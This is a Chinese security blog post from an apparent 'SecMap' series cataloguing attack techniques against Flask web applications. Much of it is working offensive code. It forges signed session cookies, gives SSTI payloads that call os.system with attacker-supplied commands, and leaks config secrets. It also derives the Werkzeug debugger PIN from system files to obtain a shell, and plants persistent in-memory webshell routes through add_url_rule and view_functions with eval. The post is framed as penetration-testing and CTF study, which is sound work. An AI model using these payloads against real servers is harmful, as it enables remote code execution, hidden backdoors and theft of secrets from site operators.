SecMap - Flask
SecMap 系列之 Flask,本篇介绍 flask 相关的攻击手法。
介绍
flask 还是一个非常流行的 Python Web 框架,我个人是非常喜欢的。
基础知识
flask 是典型的轻量级 Web 框架,仅保留了核心功能:请求响应处理和模板渲染。这两类功能分别由 Werkzeug(WSGI)完成和 jinja2 负责。
jinja2 就不用多说了,之前的文章说过。Werkzeug 是一个专门用来处理 HTTP 和 WSGI 的工具库,可以方便的在 Python 中处理 HTTP 协议相关内容。这里顺便提一下,Werkzeug 不是一个 Web 服务器,也不是一个 Web 框架,而是一个工具包,官方的介绍说是一个 WSGI 工具包,它可以作为一个 Web 框架的底层库,因为它封装好了很多 Web 框架需要用到的基本操作,例如 Request,Response 等等。如果橘友们感兴趣可以看官方文档,按照这个文档非常容易上手 Werkzeug(见资料 1)。
flask 还是比较流行的,教程一抓一大把,基础的使用就不啰嗦了,我们直接来看看 flask 都有哪些攻击面。
攻击思路
常规姿势
首先,flask 本身的漏洞本篇就不详细介绍了,大家一搜 CVE 都有(见资料 2),目前来看(2022-05-06),版本 >= 0.12.3
是没有通用漏洞的。
其次,为了避免内容重复,非 flask 直接导致的漏洞不再本篇范围中,例如直接拼接 sql 导致 sql 注入、CSRF、SSRF 等,这些攻击方式并非使用 flask 所导致的,推荐去看 SecMap 的对应系列,更容易理解。
session 信息泄露 & 伪造
session 的作用大家都比较熟悉了,就不用介绍了。
它的常见实现形式是当用户发起一个请求的时候,后端会检查该请求中是否包含 sessionid,如果没有则会创造一个叫 sessionid 的 cookie,用于区分不同的 session。sessionid 返回给浏览器,并将 sessionid 保存到服务器的内存里面;当已经有了 sessionid,服务端会检查找到与该 sessionid 相匹配的信息直接用。
所以显而易见,session 和 sessionid 都是后端生成的。且由于 session 是后端识别不同用户的重要依据,而 sessionid 又是识别 session 的唯一依据,所以 session 一般都保存在服务端避免被轻易窃取,只返回随机生成的 sessionid 给客户端。对于攻击者来说,假设需要冒充其他用户,那么必须能够猜到其他用户的 sessionid,这是比较困难的。
对于 flask 来说,它的 session 不是保存到内存里的,而是直接把整个 session 都塞到 cookie 里返回给客户端。那么这会导致一个问题,如果我可以直接按照格式生成一个 session 放在 cookie 里,那么就可以达到欺骗后端的效果。
阅读源码可知,flask 生成 session 的时候会进行序列化,主要有以下几个步骤:
- 用
json.dumps
将对象转换成 json 字符串 - 如果第一步的结果可以被压缩,则用 zlib 库进行压缩
- 进行 base64 编码
- 通过 secret_key 和 hmac 算法(flask 这里的 hmac 默认用 sha1 进行 hash,还多了一个 salt,默认是
cookie-session
)对结果进行签名,将签名附在结果后面(用.
拼接)。如果第二步有压缩的话,结果的开头会加上.
标记。
可以看到,最后一步解决了用户篡改 session 的安全问题,因为在不知道 secret_key 的情况下,是无法伪造签名的。
所以这会直接导致 2 个可能的安全问题:
- 数字签名的作用是防篡改,没有保密的作用。所以 flask 的 session 解开之后可以直接看到明文信息,可能会导致数据泄露
- 如果知道 secret_key 那么可以伪造任意有效的 session(这个说法并不完全准确,文末的防御那一小节会说明原因)
下面举个例子:
1
2
3
4
5
6
7
8
9
10
11
12
13from flask import Flask, session
app = Flask(__name__)
app.secret_key = 'Tr0y_1s_Macr0phag3'
@app.route('/')
def hello():
user = session.get("user", "Hacker")
return f'Welcome, {user}!'
app.run()
比如这段代码,我们访问之后会得到一个 session:eyJ1c2VyIjoicm9vdCJ9.YnkAHQ.20MEAtmoX7Djup_Irjze03qSnSA
按照生成的过程,我们可以很容易解开 session:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19In [76]: session = "eyJ1c2VyIjoicm9vdCJ9.YnkAHQ.20MEAtmoX7Djup_Irjze03qSnSA"
In [77]: from itsdangerous import URLSafeTimedSerializer, base64_decode, encoding
In [78]: base64_decode("eyJ1c2VyIjoicm9vdCJ9")
Out[78]: b'{"user":"root"}'
In [79]: base64_decode("YnkAHQ")
Out[79]: b'by\x00\x1d'
In [80]: encoding.bytes_to_int(b'by\x00\x1d')
Out[80]: 1652097053
In [81]: URLSafeTimedSerializer(
...: 'Tr0y_1s_Macr0phag3',
...: salt="cookie-session",
...: signer_kwargs={"key_derivation": "hmac"}
...: ).loads_unsafe("eyJ1c2VyIjoicm9vdCJ9.YnkAHQ.20MEAtmoX7Djup_Irjze03qSnSA")
Out[81]: (True, {'user': 'root'}) # 第一个值代表签名是否有效
所以如果 session 里有敏感信息,那么直接就泄露了。
最后,如果搞到 secret_key,可以这样伪造 session:
1
2
3
4
5
6
7
8from itsdangerous import URLSafeTimedSerializer
URLSafeTimedSerializer(
'Tr0y_1s_Macr0phag3',
salt="cookie-session", # 这是默认的
signer_kwargs={"key_derivation": "hmac"}
).dumps({'user': 'root'})
来试试伪造的 session:
nice.
大家似乎都很喜欢用 flask-session-cookie-manager
(见资料 3),但是我不知道它和 itsdangerous.URLSafeTimedSerializer
的区别是啥...这个类既可以解开也可以伪造。难道是没有压缩功能?但是伪造的时候也不需要压缩呀?
最后教大家一个快速调试的方式。
我们平时写一些小脚本都需要搞点测试用例来测试,那像 flask 这种 Web 应用,如果每次修改代码都需要重启服务,再通过 HTTP 协议来测试,那实在是太慢了。对于我们安全来说,一样需要测试各种 payload。由于安全一般只需要简单的测试,所以不需要用比较重的测试框架例如 pytest 之类的。所以我们只需要直接用 Flask.test_client
就可以模拟请求了,例如:
1 |
|
test_client
下方法的属性列表可以在 site-packages/werkzeug/test.py
里的 class EnvironBuilder:
下的注释中找到。
flask 的 SSTI
这一节本来是放在《SecMap - SSTI(jinja2)》(见资料 4)中介绍的,但是为了查询的便利性,就放在这里好了,jinja2 那篇文章中会引用这里的知识点。
flask 最常见的搭档就是 jinja2 了。由于 flask 会引入新的变量,所以也会引入新的姿势。从官方文档可以看到官方引入的新的全局变量(见资料 5)
config
:当前配置对象,原型为flask.Flask().config
request
:当前 request 对下,原型为flask.request
。注:如果模板渲染的时候 request context 没有激活,这个变量是没法在模板中使用的session
:当前 session 对象,原型是flask.session
。注:如果模板渲染的时候 request context 没有激活,这个变量是没法在模板中使用的g
:全局变量的 request-bound 对象,原型是flask.g
。注:如果模板渲染的时候 request context 没有激活,这个变量是没法在模板中使用的url_for()
,原型是flask.url_for()
get_flashed_messages()
:原型是flask.get_flashed_messages()
通用绕过姿势
常规的通用绕过姿势就不重复说了,《SecMap - SSTI(jinja2)》 里说的很全。
除此之外,flask 的 request
中包含了大量请求相关的属性(见资料 6),可以用于 bypass 一些非常严格的限制。
request.args
:GET 请求的参数request.form
:POST 参数request.values
:POST 和 GET 的参数request.cookies
:Cookies 值request.files
:包含了上传的文件名和内容request.headers
:请求头- 直接获取头的属性,上面文档中含有
entity-header field
关键字的都是,比如:request.authorization
:basic 认证的凭据request.content_type
:Content-Type
HTTP 头request.content_md5
:Content-MD5
HTTP 头request.get_data
:和request.data
类似- ...
request.full_path
:完整请求路径,包含参数request.environ
:WSGI 的环境变量,包含 HTTP 头(对应的键会自动加上HTTP_
前缀),还有 WSGI 服务端的一些信息- 以及通过 mro 我们也是可以间接获取到这些属性的。
这些请求相关的属性可以传递任何被过滤的字符串。举例,假设参数 user 过滤了 os
、system
,那我们可以任意指定另外三个参数,分别用于传递 os
、system
、命令,payload 可以这样:
1
2
3
4?user={{config.get_namespace.__globals__[request.args.module][request.args.func](request.args.cmd)}}
&module=os
&func=system
&cmd=whoami
这个姿势是非常非常通用的。利用的时候,最重要的资料还是官方文档。
通过 mro 寻找可利用模块
mro 直接利用 dibber 搜索就行(见资料 7)
config
g
其他同理,就不列举了,橘友们用 dibber 自行尝试即可。
config 信息泄露
config 是 flask 中的一个全局对象,它代表当前配置实例,包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY 等敏感值。
所以如果可以获取到 config,就可以直接拿到各种敏感数据。比如如果需要获取绝对 Web 根目录可以用 config.root_path
;比如上面说的伪造 session 需要 secret_key,而 config 就有 secret_key。所以只要获取了 config 就可以伪造 session 了。
如果存在 SSTI 那么直接 {{ config }}
就可以了。当然,如果没法直接拿 config,可以用 mro 来找其他利用链,比如:
url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config
self.__dict__._TemplateReference__context.config
,这个就是 jinja2 自带的,在 jinja2 的 SSTI 中介绍过了- ...
同样,类似的替换方式写个 dibber 的插件即可自动搜索。
实在不行,先确定脚本的路径,再直接读源码也是 ok 的...
上面有个结论,“只要拿到了 secret_key 就可以伪造 session”,这个说法并不是非常准确。因为通过上面的分析可知,session 的签名还取决于使用的密钥派生函数、salt 和 hash 算法,这三者只要替换掉一个,用现有的工具即使知道 secret_key 也是没法生成有效的 session 的。
所以这就是一个 ctf 的出题思路了:
- 题目的目的:伪造 root 的 session
- 题目中存在 ssti
由于可以直接拿到 secret_key,所以估计很多人直接开始伪造 session,然后发现 session 就是无效的...
所以在用 flask 的时候,不妨换一个 salt,也没啥改造的成本。
当然,如果存在 SSTI,那么是可以非常轻易地获取这三个信息的:
config.__init__.__globals__.__builtins__.__import__('flask').sessions.SecureCookieSessionInterface.key_derivation
config.__init__.__globals__.__builtins__.__import__('flask').sessions.SecureCookieSessionInterface.salt
config.__init__.__globals__.__builtins__.__import__('flask').sessions.SecureCookieSessionInterface.digest_method
确认这三个关键的信息之后,结合 secret_key 就可以伪造了。
利用 debug 模式姿势
flask 贴心地提供了 debug 模式,只需要加参数 app.run(debug=True)
即可,用于在测试的时候及时发现和定位问题。
黑盒判断是否开启 debug 模式,最直接的方式就是触发一个报错。除此之外还有一种方法:
1
2
3
4
5import requests
"__debugger__" in requests.get(
'http://127.0.0.1:5000/?__debugger__=yes&cmd=resource&f=style.css'
).text
style.css
位于 site-packages/werkzeug/debug/shared/
下,这里面所有的文件都可以用来判断。
仔细观察可以发现,这个页面中有很多可以利用的地方。
信息泄露
这个页面中的报错所在代码是可以点击的,且是按照 Python 异常堆栈顺序排列,所以一般最后一行就是报错的原始代码。点击之后可以看到 10 行源代码,触发报错的代码在第 6 行。如果敏感信息正好在这个范围里,那么就会泄露出来。
按照这个思路,如果我们在 SSTI 的时候,发现是无回显的,那么也可以通过触发报错,然后在 debug 里获得结果。
利用报错解决无回显
eval
或者 exec
我们想看到的数据即可:
get PIN, get shell
在 debug 页面中甚至还提供了 python 的交互式 shell,方便 plus。
但前提是需要有 Debugger PIN
:
这个在 debug 模式下启动 flask 的时候可以直接获取到(通常是在终端直接打印)。作为攻击者,是没法直接拿到这个 PIN 的。
爆破 PIN
最直接的办法就是爆破。可惜 flask 默认带有爆破防御功能,在 site-packages/werkzeug/debug/__init__.py
中的 pin_auth
:
- 一旦检查 PIN 失败就会调用
_fail_pin_auth
,让self._failed_pin_auth
加 1 - 如果
self._failed_pin_auth > 5
,每次认证返回响应前延时 5s - 如果
self._failed_pin_auth > 10
,强制停止 PIN 校验逻辑,只能重启服务来重置
这里有个细节,由于 _fail_pin_auth
是 sleep 之后才 +1,所以理论上只要在 5s 内发出很多请求,那么可以在 +1 之前就经过很多次 PIN 验证。遗憾的是,flask PIN 一般都有 9 位数字,每位有 10 种可能性,也就是 10 亿种可能性,一共可以尝试 10 次,就算每次都延迟 5s,那么 50s 内需要发出 10 亿次尝试,这显然是不可能的。不过这个可以耗尽尝试次数导致别人也无法使用 debug,那么显然这是一个比较鸡肋的 DoS。
所以爆破的路子走不通,我们需要寻找其他方式。
通过分析 flask 源码可以拿到以下调用链,可以看出 PIN 的生成是相对固定的:
- 入口 py 文件 中的
... .run()
site-packages/flask/app.py
中,class Flask(Scaffold):
下run
的run_simple(host, port, self, **options)
site-packages/werkzeug/serving.py
中,run_simple
的application = DebuggedApplication(application, use_evalex)
site-packages/werkzeug/debug/__init__.py
中,class DebuggedApplication:
下pin
的pin_cookie = get_pin_and_cookie_name(self.app)
site-packages/werkzeug/debug/__init__.py
中的get_pin_and_cookie_name
get_pin_and_cookie_name
中,可以看到对 PIN 的处理有一些特殊的逻辑,见下面代码注释:
1 |
|
所以一共有 9 个必要参数:
- 环境变量
WERKZEUG_DEBUG_PIN
:非常重要的值,它本身可能就是 PIN 码,以及决定了后面生成 PIN 的流程。不过这个值一般不会修改 probably_public_bits
,它是一个 4 元列表,其中包含:username
:运行 flask 所使用的的系统用户名modname
:在 flask 中,此值固定是"flask.app"
- 固定值
"Flask"
app.py
所在的完整系统路径
private_bits
,它是一个 2 元列表,其中包含:- MAC 地址(48 位正整数格式)
Machine ID
:通常在系统安装或首次启动时从一个随机数源生成,并且之后不会自己发生变化;不同的操作系统获取的方式不同
- 固定值
"cookiesalt"
- 固定值
"pinsalt"
- 将上面的结果进行 sha1,然后取前 9 位
- 每 3 位一组,用
-
连接
如果有办法在目标环境中执行 Python 代码,那么获取 PIN 是很简单的,可以直接调用 get_pin_and_cookie_name
来生成即可:
1
2
3
4
5
6__import__(
'werkzeug.debug',
fromlist=['']
).get_pin_and_cookie_name(
__import__('__main__').app
)
例如通过 SSTI:
如果存在任意文件读取漏洞,则需要拿到非固定的值,可以通过特殊文件来获取:
- 环境变量
WERKZEUG_DEBUG_PIN
先无视 username
通过/etc/passwd
来猜测- app.py 的绝对路径在 debug 的报错中就有
- 在 Linux 环境中,Mac 地址可以读取
/sys/class/net/网卡名称/address
,删除:
之后转为 10 进制即可,网卡名可以通过/proc/net/dev
文件来查找 Machine ID
按照get_machine_id
的逻辑来读取即可
内存马
在文档中我们可以发现 flask.Flask
有一些特殊的方法,可以修改处理请求的逻辑。
add_url_rule
add_url_rule
是用来注册路由的。
根据官方文档,这三种写法是等价的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18# 写法 1
@app.route("/")
def index():
...
# 写法 2
app.add_url_rule("/", endpoint="index")
@app.endpoint("index")
def index():
...
# 写法 3
def index():
...
app.add_url_rule("/", view_func=index)
这就意味着,如果变量 app 是可以控制的,那么我们可以通过 app.add_url_rule("/shell", view_func=lambda: eval(request.args["cmd"]))
来植入一个后门。
在绑定的时候有几个需要注意的地方:
- 所有 url 所绑定的函数名称(即 endpoint)与函数的映射关系,可以通过
app.view_functions
看到 - 绑定的时候,会将对应的 endpoint 保存至
app.view_functions
,如果这个时候 endpoint 已经存在,但是新绑定的过程中改变了对应的函数,就会报错,比如 lambda:
因为 lambda 每次执行都会新生成一个对象,并不是固定的:
- 为了避免上面那个问题,可以手动指定 endpoint 的名称:
app.add_url_rule("/shell", "ep-1", view_func=lambda x: x)
- 对于同一个 url,如果绑定了多次 endpoint,以第一次绑定的结果为准:
不过要修改也简单,可以通过app.view_functions
修改
- 上面也给了我们启发,通过
app.view_functions
即可篡改 url 所绑定的函数。 app.url_map
中保存了 url 与 endpoint 的对应关系。结合上面的结论大致可以推测出,app.add_url_rule
应该是依赖app.view_functions
和app.url_map
的。- debug 模式下,如果直接调用 setup function 是没有办法使用的:
代码位于site-packages/flask/scaffold.py
中的def setupmethod
下:
而site-packages/flask/app.py
中的class Flask
继承了Scaffold
且定义了_is_setup_finished
:
这就说明,当开启 debug 模式,且已经开始准备好开始处理客户端的请求,就没办法在执行 setup function 了。如果你想知道还有哪些算 setup function,在site-packages/flask/app.py
中被装饰器@setupmethod
装饰的都算。当然,由于这里是通过装饰器做的限制,所以理论上我们精简 setup function 之后或许也可以自己搞出与之等价的函数,这一点后面会举例。
踩完坑之后,下面结合 jinja2 的 SSTI 举几个例子。
由于 jinja2 中并不支持用 lambda
(通过 mro 引入也不行用,因为 jinja 的语法本身就不支持),而 view_func
参数又必须是一个 func,如果直接使用 view_func=eval
,由于在 flask 不会给 view_func
传参,所以压根就没法执行。如果是固定执行一个命令倒是可以,就是有点不够灵活了。
为了实现类似 lambda 的效果,我们可以定义一个宏,然后植入后门:
1
2{% macro x() %} cycler.__init__.__globals__.__builtins__.eval(request.args.cmd) {% endmacro %}
{{ lipsum.__globals__.__builtins__.__import__("__main__").app.add_url_rule("/shell", "x", view_func=x) }}
这里有坑需要注意下。
我在测试的过程中发现,lipsum. ... .__import__("__main__").app.add_url_rule
似乎会改变 lipsum
的上下文属性,导致在宏里无法引用到 lipsum
。也就是说,这个 payload 是不行的:
1
2{% macro x() %} lipsum.__globals__.__builtins__.eval(request.args.cmd) {% endmacro %}
{{ lipsum.__globals__.__builtins__.__import__("__main__").app.add_url_rule("/shell", "x", view_func=x) }}
以及由于 macro
和普通函数不太一样,它是没有 __name__
的。所以必须指定一下 endpoint。
除了宏之外,还有办法搞一个自定义函数出来吗?如果可以使用 def
就好了。那么这个 exec
就可以实现。虽然 exec 返回值固定是 None,但是其实里面定义的函数在外边是可以使用的(通常情况):
上面特别标注了 “通常情况”,为何呢?eval
、exec
、compile
都是非常有趣的内置函数,他们有非常多的特性,有机会我专门写一篇来介绍。
总之,我们可以这样:eval('exec("def x(): return x")')
当然,compile
也是 ok 的,所以还可以这样:
1 |
|
结合 jinja2 的 SSTI 就是这样了:
1
2
3
4
5
6
7
8
9
10
11lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.add_url_rule(
"/shell",
view_func=lipsum.__globals__.__builtins__.eval(
'exec("'
'def x(): '
'return str(eval(__import__(\\"__main__\\").request.args[\\"cmd\\"]))'
'"), x'
)[1]
)
1 |
|
绕过 setup function debug 模式限制
正如上面说的那样,在 debug 模式下是没办法直接使用 setup function 的。好在有绕过的办法(下面均以 add_url_rule
为例)。
修改属性
_is_setup_finished
中的限制,是实时获取属性来判断的。所以我们只需要修改 app.deug = False
或者 app._got_first_request = False
即可绕过。例如:
1 |
|
模拟 setup function
在 site-packages/flask/app.py
中可以看到 add_url_rule
的逻辑似乎比较复杂。但实际上,它最主要的操作就两个:
rule = self.url_rule_class(rule, methods=methods, **options)
&self.url_map.add(rule)
self.view_functions[endpoint] = view_func
所以我们只需要执行:
app.url_map.add(app.url_rule_class("/shell", methods={"GET"}, endpoint="x"))
,就可以在/shell
上注册一个叫x
的 endpointapp.view_functions["x"] = eval
,这样就完成了 endpoint 与函数的绑定
还是以 SSTI 为例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22{{
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.url_map.add(
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.url_rule_class(
"/shell", methods=["GET"], endpoint="x"
)
),
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.view_functions.__setitem__(
"x",
lipsum.__globals__.__builtins__.eval(
'exec("'
'def x(): '
'return str(eval(__import__(\\"__main__\\").request.args[\\"cmd\\"]))'
'"), x'
)[1]
)
}}
其他 setup function
像 before_request_funcs
、after_request
、register_error_handler
之类的应该都是可以用来搞内存马的。可能还有一些其他函数,有需要用的时候可以翻翻官方文档尝试一下。
从文件写到 RCE
在《Python 沙箱逃逸的经验总结》中我们提到过,如果存在文件写漏洞,则可以通过 import 或者 exec 等等完成 RCE。
在 flask 的场景下,还有一个特殊的途径。
在 from_pyfile
中,会执行 exec,且由于 exec 的特性,会把 exec 中执行生成的变量存储在 d.__dict__
,所以 exec 中的变量均可以通过 d.
获取到。而最后又会调用 from_object
,这个函数会将全大写的变量名置为 self
(也就是 flask.Flask.config
)的属性。
关键代码如下:
既然如此,我们可以先在目标环境中创建一段包含 Python 代码的文件(比如任意文件上传),并在里面创建一个全大写变量名 CMD = eval
,然后触发 from_pyfile
(例如 SSTI),这样就可以在 config 中直接用到这个 eval:
1
2
3lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.from_pyfile("file.png")
然后直接 {{config.CMD}}
使用即可:
个人觉得这个也算内存马了。
总结
flask 的攻击面还是比较广的,毕竟作为一个 Web 应用框架,能承载的功能是非常丰富的,它还有各种各样的插件。
所以在考量 flask 应用的时候,flask 本身的安全性(代码/架构)、通过 flask 搭建的应用的安全性(代码/逻辑)、插件(第三方代码)都是不可或缺的一部分。所以这部分的内容一篇文章恐难以总结全,本文就先介绍到这,后面如果发现新的姿势会继续补充。
资料
- werkzeug 文档
https://werkzeug-docs-cn.readthedocs.io/zh_CN/latest/tutorial.html - flask cve
https://snyk.io/vuln/pip:flask - flask-session-cookie-manager
https://github.com/noraj/flask-session-cookie-manager - SecMap - SSTI(jinja2)
https://www.tr0y.wang/2022/04/13/SecMap-SSTI-jinja2/ - flask 标准上下文
https://flask.palletsprojects.com/en/2.1.x/templating/#standard-context - flask request 属性
https://flask.palletsprojects.com/en/2.1.x/api/#incoming-request-data - dibber
https://github.com/Macr0phag3/dibber
最近遇到了 Python + yaml 的反序列化问题
所以下一篇估计是补齐一下这部分知识点
一起加油 💪